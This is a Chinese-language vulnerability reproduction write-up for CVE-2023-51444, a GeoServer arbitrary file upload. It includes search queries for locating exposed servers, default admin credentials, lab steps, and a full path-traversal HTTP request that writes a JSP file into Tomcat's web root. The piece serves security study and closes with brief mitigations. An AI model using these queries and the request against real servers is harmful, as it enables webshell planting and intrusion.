在2.23.4
版本之前和2.24.1
版本之前存在一个任意文件上传漏洞,允许经过身份验证的管理员通过REST Coverage Store API
修改覆盖存储器权限上传任意文件内容到任意文件位置。漏洞利用需要管理员权限。
影响版本:
GeoServer < 2.23.4
CVE编号:
CVE-2023-51444
- Fofa
app="GeoServer"
- Hunter
app.name="GeoServer"
-
Quake
app:"GeoServer"
-
本地搭建环境,还是使用docker来起一个 geoserver
服务。
docker run -itd -p 8080:8080 docker.osgeo.org/geoserver:2.22.x
-
默认登录账号密码: admin/geoserver
-
然后点击工作空间,新建一个 test
,点击保存。 -
然后点击新建存储仓库,数据源选择 ImageMosaic
,工作空间选择刚刚新建的test
。 -
然后,重点来了,关系到你能不能成功。 -
下面的连接参数选项,需要选择绝对路径,以这个镜像为例,点击浏览,目录选择 /
(就是根目录),可以浏览服务器文件目录结构,找到GeoServer
的存储目录(就是存我们刚刚选择的ImageMosaic
的目录)。 -
应该是 xxx/xxx/xxx/coverages/mosaic_sample/
,这个镜像在/opt/geoserver_data/coverages/mosaic_sample/
,就选择这个目录,然后保存就行了。 -
直接输入 file:///opt/geoserver_data/coverages/mosaic_sample/
-
最后一步,上传任意文件。构造数据包,我直接多写几个 ../
穿到根目录,后面再加要写入的目录绝对路径(上面浏览中可以看到所有目录结构)。(这里我们选择可以解析jsp文件的目录,可以根据实际情况修改)。而且需要填写Cookie。 -
注意两个test,前面的是工作空间,后面的是存储仓库。
POST /geoserver/rest/workspaces/test/coveragestores/test/file.shp?filename=../../../../../opt/apache-tomcat-9.0.86/webapps/webshell/1.jsp HTTP/1.1
Host: your-ip
Content-Length: 3
Accept:image/avif,image/webp,image/apng,image/svg+xml, image/*,*/*;9-0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
x-forwarded-for:127.0.0.1
Cookie: remember-me=xxxx
Content-Type: multipart/form-data;; boundary-----WebKitFormBoundaryfoycybhDiQZEqxoy
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<% out.println("Hello World!");%>
-
上传成功显示 202
-
访问 url/webshell/test.jsp
,结束。
-
如果上传显示500,报错: Error while storing uploaded file:
,说明最重要的一步存储仓库中的连接参数没有设置绝对路径。
-
不会写,但实际上有弱口令就成了一半。
-
在Web应用防火墙中添加接口临时黑名单规则。 -
升级版本。
原文始发于微信公众号(F12sec):1day 【漏洞复现 | 成功上传Webshell】Geoserver 任意文件上传(CVE-2023-51444)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论